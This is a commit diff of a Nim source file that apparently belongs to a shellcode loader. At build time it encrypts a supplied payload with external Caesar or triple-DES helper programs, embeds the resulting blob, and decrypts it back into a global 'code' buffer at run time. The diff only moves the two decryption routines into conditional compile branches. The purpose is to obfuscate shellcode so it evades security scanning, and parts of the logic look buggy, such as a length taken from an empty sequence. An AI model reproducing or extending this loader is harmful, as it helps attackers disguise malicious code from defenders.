11{.passL :" -static" }
2+ # {.hint[XDeclaredButNotUsed]:off.}
23# {.passL:"-D:_WIN32_WINNT=0x0602"}
34{.compile : " encryption\\ des.c" .}
4- proc D3DES_Decrypt (plainBuffer:cstring ,keyBuffer:cstring ,cipherBuffer:cstring ,n:cint ):cint {.importc ,cdecl .}
5- import base64,sequtils
5+ import base64
66
77const source {.strdefine .}: string = " "
88var code* :cstring
99var codelen* :cint = 0
10-
11- proc de3des (enbase64:string ): void =
12- let shellcode:string = decode (enbase64)
13- let plain_len_byte = cast [int16 ]([shellcode[0 ],shellcode[1 ]])
14- let input_encode:cstring = cstring (shellcode[26 .. high (shellcode)])
15- let key:cstring = cstring (shellcode[2 .. 25 ])
16- code = cast [cstring ](alloc0 (plain_len_byte));
17- discard D3DES_Decrypt (input_encode,key,code,cast [cint ](plain_len_byte))
18- codelen = plain_len_byte
19-
20- proc caesar (result:string ): void =
21- let decodres = decode (result )
22- let dic = decodres[0 .. 255 ].mapIt (it.byte )
23- let table = decodres[256 .. high (decodres)].mapIt (it.byte )
24- var deshellcode = newSeq [uint8 ](table.len)
25- var temp:string
26- temp.setLen (table.len)
27- for i in 0 .. 254 :
28- for k in 0 .. high (table):
29- temp [k] = cast [cchar ](dic[table[k]])
30- code = cstring (temp)
31- codelen = cast [cint ](deshellcode.len)
10+ const currsource:string = " \" " & source & " \" "
3211
3312when defined (Caesar ):
34- const enbase64 = staticExec (" encryption\\ Caesar.exe " & source)
13+ import sequtils
14+ proc caesar (result:string ): void =
15+ let decodres = decode (result )
16+ let dic = decodres[0 .. 255 ].mapIt (it.byte )
17+ let table = decodres[256 .. high (decodres)].mapIt (it.byte )
18+ var deshellcode = newSeq [uint8 ](table.len)
19+ var temp:string = " "
20+ temp.setLen (table.len)
21+ for i in 0 .. 254 :
22+ for k in 0 .. high (table):
23+ temp [k] = cast [cchar ](dic[table[k]])
24+ code = cstring (temp)
25+ codelen = cast [cint ](deshellcode.len)
26+ const enbase64 = staticExec (" encryption\\ Caesar.exe " & currsource)
3527 caesar (enbase64)
3628
37- when defined (TDEA ):
38- const enbase64 = staticExec (" encryption\\ Tdea.exe " & source)
29+ elif defined (TDEA ):
30+ proc D3DES_Decrypt (plainBuffer:cstring ,keyBuffer:cstring ,cipherBuffer:cstring ,n:cint ):cint {.importc ,cdecl .}
31+ proc de3des (enbase64:string ): void =
32+ let shellcode:string = decode (enbase64)
33+ let plain_len_byte = cast [int16 ]([shellcode[0 ],shellcode[1 ]])
34+ let input_encode:cstring = cstring (shellcode[26 .. high (shellcode)])
35+ let key:cstring = cstring (shellcode[2 .. 25 ])
36+ code = cast [cstring ](alloc0 (plain_len_byte));
37+ discard D3DES_Decrypt (input_encode,key,code,cast [cint ](plain_len_byte))
38+ codelen = plain_len_byte
39+ const enbase64 = staticExec (" encryption\\ Tdea.exe " & currsource)
3940 de3des (enbase64)
0 commit comments